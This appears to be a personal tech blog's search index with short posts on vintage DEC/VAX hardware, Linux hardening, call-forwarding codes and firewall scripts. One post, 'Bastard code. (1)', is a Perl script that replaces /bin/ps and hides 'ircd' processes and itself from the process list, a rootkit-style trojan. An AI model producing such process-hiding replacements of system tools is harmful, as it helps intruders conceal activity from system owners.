?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDATE:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         Update the ROMs. Jumpers MUST be installed on both roms.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         For example\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;update\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVERIFY [DEVICE]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         Verify the ROM[s]. If no qualifiers then all ROMS verified\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         The Checksum of file image is compared with rom image\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         For example\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;verify\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;verify system\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;verify io\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHOW [DEVICE]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         Show the current ROM Revision\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         For example\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;show\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;show system\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;show io\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLIST   :\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         List the supported ROM Devices\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         For example\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              UPD-\u0026gt;list\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              *** ROM Devices Supported ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              SYSTEM: KN15-AA CPU Module 28F020 256Kx8 FLASH MEMORY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              IO:     IO-XXX  I/O Module 28F020 256Kx8 FLASH MEMORY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e*** FIRMWARE UPDATE UTILITY V2.6a ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e*** SYSTEM TYPE: M300 ***\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPDATE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eVERIFY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLIST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSHOW\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUPD-\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"DEC 3000 Alpha - Firmware Upgrade"},{"content":"If your phone (example iPhone) doesn\u0026rsquo;t have complete call forwarding menu, you can use line code, then, to activate and deactivate Call Forwarding, follow this instructions:\nCall Forward Immediate - Send all calls to another number instantly. enable: *21 (prefix + number) # call disable: ## 21 # call verify: * # 21 # call\nCall Forward No Reply - Send calls that go unanswered. enable: *61 (prefix + number) # call disable: ## 61 # call verify: * # 61 # call\nCall Forward Not Reachable conditions - Send calls elsewhere if your phone is off or not in the service area. enable: *62 (prefix + number) # call disable: ## 62 # call verify: * # 62 # call\nCall Forward Busy - Send calls that reach a busy signal to another number. enable: *67 (prefix + number) # call disable: ## 67 # call verify: * # 67 # call\nTo forward call to the operator Voice Mail use: international prefix + your three digit prefix + 20\n","permalink":"https://www.deepreflect.net/2010/01/17/vodafone-ita-call-forwarding/","summary":"\u003cp\u003eIf your phone (example iPhone) doesn\u0026rsquo;t have complete call forwarding menu, you can use line code, then, to activate and deactivate Call Forwarding, follow this instructions:\u003c/p\u003e\n\u003cp\u003eCall Forward Immediate - Send all calls to another number instantly.\nenable: *\u003cem\u003e21\u003c/em\u003e (prefix + number) # call\ndisable: ## 21 # call\nverify: * # 21 # call\u003c/p\u003e\n\u003cp\u003eCall Forward No Reply - Send calls that go unanswered.\nenable: *\u003cem\u003e61\u003c/em\u003e (prefix + number) # call\ndisable: ## 61 # call\nverify: * # 61 # call\u003c/p\u003e","title":"Vodafone ITA - Call Forwarding"},{"content":" First you should secure /tmp: Make a 1GB file for /tmp parition and an ext3 filesystem for tmp:\n# dd if=/dev/zero of=/dev/tmpFS bs=1024 count=1000000 # /sbin/mkfs.ext3 /dev/tmpFS Create a backup copy of your current /tmp drive:\n# cp -Rpf /tmp /tmpbackup\nMount our new tmp parition and change permissions:\n# mount -o loop,noexec,nosuid,rw /dev/tmpFS /tmp # chmod 1777 /tmp Copy the old data: cp -Rpf /tmpbackup/\\* /tmp/\nIf you run the mount command and you should get something like this: /dev/tmpMnt on /tmp type ext3 (rw,noexec,nosuid,loop=/dev/loop0)\nEdit /etc/fstab and add this:\n/dev/tmpMnt /tmp ext3 loop,nosuid,noexec,rw 0 0\nTest your fstab entry:\n# mount -o remount /tmp\nYou can test it runnig a script on /tmp partition, if you get \u0026ldquo;permission denied\u0026rdquo; it is fine :)\nSecure /var/tmp: It should be done because some applications use /var/tmp as the temporary folder, and anything that\u0026rsquo;s accessible by all, needs to be secured.\nRename it and create a symbolic link to /tmp:\n# mv /var/tmp /var/tmp1 # ln -s /tmp /var/tmp Copy the old data back:\n# cp /var/tmpold/* /tmp/\nNote: you should restart and services that uses /tmp partition\n","permalink":"https://www.deepreflect.net/2010/01/16/securing-tmp/","summary":"\u003col\u003e\n\u003cli\u003eFirst you should secure /tmp:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eMake a 1GB file for /tmp parition and an ext3 filesystem for tmp:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# dd if=/dev/zero of=/dev/tmpFS bs=1024 count=1000000\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# /sbin/mkfs.ext3 /dev/tmpFS\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCreate a backup copy of your current /tmp drive:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# cp -Rpf /tmp /tmpbackup\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eMount our new tmp parition and change permissions:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# mount -o loop,noexec,nosuid,rw /dev/tmpFS /tmp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# chmod 1777 /tmp\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCopy the old data:\n\u003ccode\u003ecp -Rpf /tmpbackup/\\* /tmp/\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eIf you run the mount command and you should get something like this:\n\u003ccode\u003e/dev/tmpMnt on /tmp type ext3 (rw,noexec,nosuid,loop=/dev/loop0)\u003c/code\u003e\u003c/p\u003e","title":"Securing \"tmp\" without repartition"},{"content":"Per prima cosa è necessario avere un host linux nel mio caso Debian, e poi ovviamente una Sparc :)\nSull\u0026rsquo;host linux è necessario avere un server rarp e tftp quindi installiamo in questo modo:\nvm01:~# apt-get install rarpd tftpd-hpa\nConfiguriamo rarpd, editando il seguente file /etc/ethers inserendo una riga con mac address della sparc (si può vedere appena accesa da OpenBoot):\nXX:XX:XX:XX:XX:XX 192.168.xx.xx Riavviamo per applicare le modifiche: vm01:~# /etc/init.d/rarpd restart\nOpenBoot all\u0026rsquo;avvio una volta ricevuto l\u0026rsquo;ip cercherà l\u0026rsquo;immagine nel tftp on notazione decimale, ammettendo che l\u0026rsquo;ip sia 192.168.101.9 effettuiamo la conversione in questo modo: vm01:~# printf \u0026quot;%.2X%.2X%.2X%.2X\\n\u0026quot; 192 168 101 9 C0A86509 Scarichiamo quindi l\u0026rsquo;immagine di netinstall di debian, e creiamo un link simbolico con la notazione decimale:\nvm01:~# cd /var/lib/tftpboot vm01:~# wget ftp://ftp.debian.org/debian/dists/stable/main/installer-sparc/current/images/netboot/boot.img vm01:~# ln -s boot.img C0A86509 Successivamente da Sparc all\u0026rsquo;avvio, premere Stop-A o Break per mostrare il prompt di OpenBoot (\u0026ldquo;ok \u0026ldquo;) e digitare\nboot net\n","permalink":"https://www.deepreflect.net/2010/01/16/debian-netinstall-sparc/","summary":"\u003cp\u003ePer prima cosa è necessario avere un host linux nel mio caso Debian, e poi ovviamente una Sparc :)\u003c/p\u003e\n\u003cp\u003eSull\u0026rsquo;host linux è necessario avere un server rarp e tftp quindi installiamo in questo modo:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003evm01:~# apt-get install rarpd tftpd-hpa\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eConfiguriamo rarpd, editando il seguente file /etc/ethers inserendo una riga con mac address della sparc (si può vedere appena accesa da OpenBoot):\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eXX:XX:XX:XX:XX:XX 192.168.xx.xx\u003c/code\u003e\nRiavviamo per applicare le modifiche:\n\u003ccode\u003evm01:~# /etc/init.d/rarpd restart\u003c/code\u003e\u003c/p\u003e","title":"Debian NetInstall - Sparc"},{"content":"Edit your /etc/fstab:\n`\nvi /etc/fstab `\nchange:\nnone /dev/shm tmpfs defaults,rw 0 0\nto\nnone /dev/shm tmpfs defaults,nosuid,noexec,rw 0 0\nRemount /dev/shm:\n`\nmount -o remount /dev/shm `\nYou can test it runnig a script on /dev/shm, if you get \u0026ldquo;permission denied\u0026rdquo; it is fine!\n","permalink":"https://www.deepreflect.net/2009/12/02/securing-devshm/","summary":"\u003cp\u003eEdit your /etc/fstab:\u003c/p\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003ch1 id=\"vi-etcfstab\"\u003evi /etc/fstab\u003c/h1\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003cp\u003echange:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enone /dev/shm tmpfs defaults,rw 0 0\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eto\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enone /dev/shm tmpfs defaults,nosuid,noexec,rw 0 0\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eRemount /dev/shm:\u003c/p\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003ch1 id=\"mount--o-remount-devshm\"\u003emount -o remount /dev/shm\u003c/h1\u003e\n\u003cp\u003e`\u003c/p\u003e\n\u003cp\u003eYou can test it runnig a script on /dev/shm, if you get \u0026ldquo;permission denied\u0026rdquo; it is fine!\u003c/p\u003e","title":"Securing /dev/shm"},{"content":"I don\u0026rsquo;t use ftp, but wordpress comes with this nice feature to upgrade plugins automatically from the web admin interface that needs ftp.\nthe problem is I don\u0026rsquo;t want to enable the ftp service and make it available to the rest of the world just for that.\nSo I needs the following two options in proftpd.conf:\nDefaultAddress 127.0.0.1 SocketBindTight on Now restart proftpd and you\u0026rsquo;re done.\n","permalink":"https://www.deepreflect.net/2009/12/02/proftpd-listen-on-single-ip/","summary":"\u003cp\u003eI don\u0026rsquo;t use ftp, but wordpress comes with this nice feature to upgrade plugins automatically from the web admin interface that needs ftp.\u003c/p\u003e\n\u003cp\u003ethe problem is I don\u0026rsquo;t want to enable the ftp service and make it available to the rest of the world just for that.\u003c/p\u003e\n\u003cp\u003eSo I needs the following two options in proftpd.conf:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDefaultAddress 127.0.0.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSocketBindTight                 on\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow restart proftpd and you\u0026rsquo;re done.\u003c/p\u003e","title":"ProFTP(D) - listen on single ip"},{"content":"Full flush iptables script:\n#!/bin/sh iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ","permalink":"https://www.deepreflect.net/2009/12/02/iptables-flush/","summary":"\u003cp\u003eFull flush iptables script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -F\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -X\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -t nat -F\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -t nat -X\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -t mangle -F\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -t mangle -X\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -P INPUT ACCEPT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -P FORWARD ACCEPT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiptables -P OUTPUT ACCEPT\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Iptables Flush"},{"content":"srv:/bin# cat ps #!/usr/bin/perl use warnings; use strict; my $string = $ARGV[0]; if($string){ my @net = qx/ps.old $string/; my @hide = grep(!/(ircd)/, @net); my @dd = grep(!/ps.old/, @hide); print @dd; } else { my @nett = qx/ps.old/; my @hidee = grep(!/(ircd)/, @nett); my @d = grep(!/ps.old/, @hidee); print @d; } ","permalink":"https://www.deepreflect.net/2009/12/02/bastard-code-1/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esrv:/bin# cat ps\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#!/usr/bin/perl\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse warnings;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003euse strict;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy $string = $ARGV[0];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eif($string){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @net = qx/ps.old $string/;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @hide = grep(!/(ircd)/, @net);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @dd = grep(!/ps.old/, @hide);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint @dd;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eelse\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @nett = qx/ps.old/;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @hidee = grep(!/(ircd)/, @nett);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emy @d = grep(!/ps.old/, @hidee);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint @d;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Bastard code. (1)"},{"content":"Setting up serial connection to VAXstation 4000/60:\nFirst made a serial cable, attention Vax use a DEC423 serial port designed for long distant terminal line:\n--------------- 1 - DTR (Data terminal ready) I I 2 - TxD (Transmit data) I 1 2 3 4 5 6 I 3 - GND (Signal ground) I I 4 - RxC (Receive common) I I 5 - RxD (Receive data) ---------I____I 6 - DSR (Data set ready) Pin 2 of the phone connector goes to Rx pin of the serial (3 of DB25 or 2 of DB9), pins 3 \u0026amp; 4 go to ground (7 of DB25 or 5 of DB9), and pin 5 goes to Tx pin (2 of DB25 or 3 of DB9).\nThen, make sure that the S3 switch (on the front of the 4000/60) is set to the up position so that the VAX uses the serial console instead of the graphics console.\nThen, load up your favourite terminal application, set the speed to 9600 baud, make sure hardware handshaking is off, and see if you can talk to the VAX.\n","permalink":"https://www.deepreflect.net/2009/11/29/vax-mmj-dec423-pinout/","summary":"\u003cp\u003eSetting up serial connection to VAXstation 4000/60:\u003c/p\u003e\n\u003cp\u003eFirst made a serial cable, attention Vax use a DEC423 serial port designed for long distant terminal line:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e--------------- 1 - DTR (Data terminal ready)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eI             I 2 - TxD (Transmit data)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eI    1  2  3  4  5  6   I 3 - GND (Signal ground)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eI                                         I 4 - RxC (Receive common)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eI                                         I 5 - RxD (Receive data)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e---------I____I 6 - DSR (Data set ready)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePin 2 of the phone connector goes to Rx pin of the serial (3 of DB25 or 2 of DB9), pins 3 \u0026amp; 4 go to ground (7 of DB25 or 5 of DB9), and pin 5 goes to Tx pin (2 of DB25 or 3 of DB9).\u003c/p\u003e","title":"VAX - MMJ DEC423 Pinout"},{"content":"3 days ago I find a nice VAX Station 4000/60 on ebay for only 41 Euro (about 60 Dollars), obviously I bought it, and today delivery boy knock my door!\nI paste the command/console output of the recovery procedure:\n\u0026gt; KA46-A V1.4-38E-V4.2 \u0026gt; 08-00-2B-92-4E-C7 \u0026gt; 24MB \u0026gt; ?? 001 9 NI 0172 \u0026gt; \u0026gt;\u0026gt;\u0026gt; sh config \u0026gt; KA46-A V1.4-38E-V4.2 \u0026gt; 08-00-2B-92-4E-C7 \u0026gt; 24MB \u0026gt; DEVNBR DEVNAM INFO \u0026gt; ------ -------- -------------------------- \u0026gt; 1 NVR OK \u0026gt; 2 LCG OK \u0026gt; HR - 8 PLN FB - V1.2 \u0026gt; 3 DZ OK \u0026gt; 4 CACHE OK \u0026gt; 5 MEM OK \u0026gt; 24MB = SY=8MB, S0/1=8MB, S2/3=8MB, S4/5=0MB \u0026gt; 6 FPU OK \u0026gt; 7 IT OK \u0026gt; 8 SYS OK \u0026gt; 9 NI ?? 001 0172 \u0026gt; 10 SCSI OK \u0026gt; 3-L0-RZ26B 6-INITR \u0026gt; 11 AUD OK \u0026gt; \u0026gt;\u0026gt;\u0026gt; ? \u0026gt; BOOT [/[R5:]\u0026lt;bflg\u0026gt;] [\u0026lt;ddau\u0026gt;[:]] \u0026gt; CONTINUE \u0026gt; DEPOSIT [{ /B | /W | /L | /Q | /A }] [{ /P | /V | /I }] [/G] [/U] [/N:\u0026lt;n\u0026gt;] \u0026gt; [{ \u0026lt;addr\u0026gt; | \u0026lt;sym\u0026gt; | + | - | * | @ } [\u0026lt;datum\u0026gt;]] \u0026gt; EXAMINE [{ /B | /W | /L | /Q | /A }] [{ /P | /V | /I }] [/G] [/U] [/N:\u0026lt;n\u0026gt;] \u0026gt; [{ \u0026lt;addr\u0026gt; | \u0026lt;sym\u0026gt; | + | - | * | @ }] \u0026gt; FIND [{ /MEMORY | /RPB }] \u0026gt; HALT \u0026gt; HELP \u0026gt; INITIALIZE \u0026gt; LOGIN \u0026gt; REPEAT \u0026lt;cmd\u0026gt; \u0026gt; SET BOOT \u0026lt;ddau\u0026gt; \u0026gt; SET BFLG \u0026lt;bflg\u0026gt; \u0026gt; SET DIAGENV \u0026lt;1-3\u0026gt; \u0026gt; SET FBOOT \u0026lt;0-1\u0026gt; \u0026gt; SET HALT \u0026lt;1-3\u0026gt; \u0026gt; SET KBD \u0026lt;0-15\u0026gt; \u0026gt; SET MOP \u0026lt;0-1\u0026gt; \u0026gt; SET PSE \u0026lt;0-1\u0026gt; \u0026gt; SET PSWD \u0026gt; SET SCSI \u0026lt;0-7\u0026gt; \u0026gt; SET TRIG \u0026lt;0-1\u0026gt; \u0026gt; SHOW { BOOT | BFLG | CONFIG | DEV | DIAGENV | FBOOT | ETHER | ERROR | \u0026gt; ESTAT | HALT | KBD | MEM | MOP | PSE | SCSI | TRIG } \u0026gt; START \u0026lt;addr\u0026gt; \u0026gt; TEST [/UTIL] \u0026lt;devnam | devnbr\u0026gt; \u0026gt; UNJAM \u0026gt; X \u0026lt;addr\u0026gt; \u0026lt;cnt\u0026gt; ... \u0026gt; ? \u0026gt; \u0026gt;\u0026gt;\u0026gt; B/1 \u0026gt; -DKA300 \u0026gt; SYSBOOT\u0026gt; SET/STARTUP OPA0: \u0026gt; SYSBOOT\u0026gt; SET WINDOWS_SYSTEM 0 \u0026gt; %SYSBOOT-E-NOPARAM, no such parameter WINDOWS_SYSTEM \u0026gt; SYSBOOT\u0026gt; SET WRITESYSPARAMS 0 \u0026gt; SYSBOOT\u0026gt; CONTINUE \u0026gt; VAX/VMS Version V5.5-2H4 Major version id = 1 Minor version id = 0 \u0026gt; PLEASE ENTER DATE AND TIME (DD-MMM-YYYY HH:MM) 27-NOV-2009 3:51 \u0026gt; $ \u0026gt; $ SPAWN \u0026gt; SPAWN \u0026gt; %DCL-S-SPAWNED, process SYSTEM_1 spawned \u0026gt; %DCL-S-ATTACHED, terminal now attached to process SYSTEM_1 \u0026gt; $ @SYS$SYSTEM:STARTUP \u0026gt; $! Copyright (c) 1993 Digital Equipment Corporation. All rights reserved. \u0026gt; %STDRV-I-STARTUP, VMS startup begun at 27-NOV-2009 04:00:59.19 \u0026gt; The VAX/VMS system is now executing the system startup procedure. \u0026gt; %SET-I-NEWAUDSRV, identification of new audit server process is 00000088 \u0026gt; The VAX/VMS system is now executing the site-specific startup commands. \u0026gt; %RUN-S-PROC_ID, identification of created process is 0000008C \u0026gt; %NCP-W-FILOPE, File open error , Permanent database \u0026gt; %NML-E-OPENOUT, error opening SYS$SYSROOT:[SYSEXE]NETLOGING.DAT; as output \u0026gt; -RMS-F-PLV, unsupported prolog version \u0026gt; %NCP-W-OPEFAI, Operation failure \u0026gt; %SYSTEM-F-TIMEOUT, device timeout \u0026gt; , timeout \u0026gt; , unit is active \u0026gt; , fatal hardware error \u0026gt; %NCP-W-UNRCMP, Unrecognized component , Circuit \u0026gt; Circuit = SVA-0 \u0026gt; %NCP-I-NOINFO, No information in database \u0026gt; %RUN-S-PROC_ID, identification of created process is 0000008D \u0026gt; Job NCPSTART (queue SYS$BATCH, entry 1) started on SYS$BATCH \u0026gt; %RUN-S-PROC_ID, identification of created process is 0000008F \u0026gt; %SET-I-INTSET, login interactive limit = 20, current interactive value = 1 \u0026gt; 27-NOV-2009 04:03:07 \u0026gt; Process SYSTEM_1 logged out at 27-NOV-2009 04:03:08.62 \u0026gt; Accounting information: \u0026gt; Buffered I/O count: 3431 Peak working set size: 888 \u0026gt; Direct I/O count: 1440 Peak page file size: 3806 \u0026gt; Page faults: 16606 Mounted volumes: 0 \u0026gt; Charged CPU time: 0 00:00:22.71 Elapsed time: 0 00:02:18.06 \u0026gt; %DCL-S-RETURNED, control returned to process STARTUP \u0026gt; $ SET DEFAULT SYS$SYSTEM \u0026gt; SET DEFAULT SYS$SYSTEM \u0026gt; $ RUN SYS$SYSTEM:AUTHORIZE \u0026gt; RUN SYS$SYSTEM:AUTHORIZE \u0026gt; UAF\u0026gt; MODIFY SYSTEM /PASSWORD=system \u0026gt; %UAF-I-MDFYMSG, user record(s) updated \u0026gt; UAF\u0026gt; EXIT \u0026gt; %UAF-I-DONEMSG, system authorization file modified \u0026gt; %UAF-I-RDBNOMODS, no modifications made to rights data base \u0026gt; $ LOGOUT \u0026gt; LOGOUT \u0026gt; SYSTEM job terminated at 27-NOV-2009 04:04:26.81 \u0026gt; Accounting information: \u0026gt; Buffered I/O count: 99 Peak working set size: 1056 \u0026gt; Direct I/O count: 46 Peak page file size: 3978 \u0026gt; Page faults: 471 Mounted volumes: 0 \u0026gt; Charged CPU time: 0 00:00:00.41 Elapsed time: 0 00:05:33.58 \u0026gt; Welcome to VAX/VMS V5.5-2H4 \u0026gt; Username: ","permalink":"https://www.deepreflect.net/2009/11/27/my-first-vax-and-vms-system/","summary":"\u003cp\u003e3 days ago I find a nice VAX Station 4000/60 on ebay for only 41 Euro (about 60 Dollars), obviously I bought it, and today delivery boy knock my door!\u003c/p\u003e\n\u003cp\u003eI paste the command/console output of the recovery procedure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-rpgle\" data-lang=\"rpgle\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e KA46\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eA V1.\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e38E\u003cspan 